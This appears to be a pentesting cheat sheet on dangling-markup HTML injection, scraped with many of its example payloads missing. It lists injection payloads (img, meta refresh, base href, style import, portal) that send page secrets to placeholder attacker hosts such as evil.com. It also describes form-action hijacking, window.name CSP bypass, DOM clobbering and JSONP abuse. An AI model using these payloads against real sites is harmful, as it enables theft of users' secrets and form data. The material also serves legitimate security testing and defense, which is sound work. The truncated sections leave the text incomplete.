Dangling Markup

Stealing clear text secrets

Code until the next occurrence of a specific character, after the injected payload is sent to the attacker server http://evil.com

Payload

Purpose

Next character

# Injection points

<img src='http://evil.com/log.cgi?

Exfiltrate code (e.g. secrets)

'

1

<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?

Exfiltrate code (e.g. secrets)

'

1

<style>@import//hackvertor.co.uk?

Exfiltrate code (e.g. secrets)

;

1

<table background='//your-collaborator-id.burpcollaborator.net?'

Exfiltrate code (e.g. secrets)

'

1

<base target=' ... page content ... '><base href="https://evil.com/">

Exfiltrate code (e.g. secrets)

'

2

<base href="https://evil.com/">

Exfiltrate code (e.g. secrets)

'

2

<portal src='https://attacker-server?

Exfiltrate code (portal tag needs to be enabled in chrome://flags/#enable-portals)

'

1

Form data exfiltration

Payload 1

Send form data (e.g. <form action='update_profile.php'> ) to the malicious domain <base href='http://evil.com/'>

Payload 2

Original page:

  • Inject <form action='http://evil.com/log_steal'>. Nested <form> tags are invalid and the browser will implicitly close the first one, leaving the attacker access to the post data

Payload 3

Original page:

Change the URL where the information of the form is going to be sent with the attribute formaction:

Payload 4

Original page:

INJECTION_POINT USER_INPUT Submit

Payload:

Similar payload:

Payload 5

Original page:

Payload:

The second form is ignored.

noscript exfiltration

<noscript></noscript> Is a tag whose content will be interpreted if the browser doesn't support javascript.

Payload:

Bypassing CSP with user interaction

The victim needs to click on the link that will redirect him to payload controlled by attacker.

The target attribute inside the base tag will contain HTML content until the next single quote. If the link is clicked the window.name is going to be all that HTML content, so in the attacker page there can be the following code to exfiltrate window.name and exfiltrate that data:

Misleading scripts

HTML namespace attack

Insert a new tag with and id inside the HTML that will overwrite the next one and with a value that will affect the flow of a script

Script namespace attack

Create variables inside javascript namespace by inserting HTML tags, affecting the flow of the application:

Abuse of JSONP

If you find a JSONP interface you could be able to call an arbitrary function with arbitrary data:

Or you can even try to execute some javascript:

Iframe abuse

An iframe can be abused to leak sensitive information from a different page using the iframe name attribute because you can create an iframe that iframes itself abusing the HTML injection that makes the sensitive info appear inside the iframe name attribute. Then access that name from the initial iframe and leak it.

meta abuse

  • Set a Cookie:

  • Redirect (in 5s in this case):

This can be avoided with a CSP regarding http-equiv ( Content-Security-Policy: default-src 'self';, or Content-Security-Policy: http-equiv 'self';)

Last updated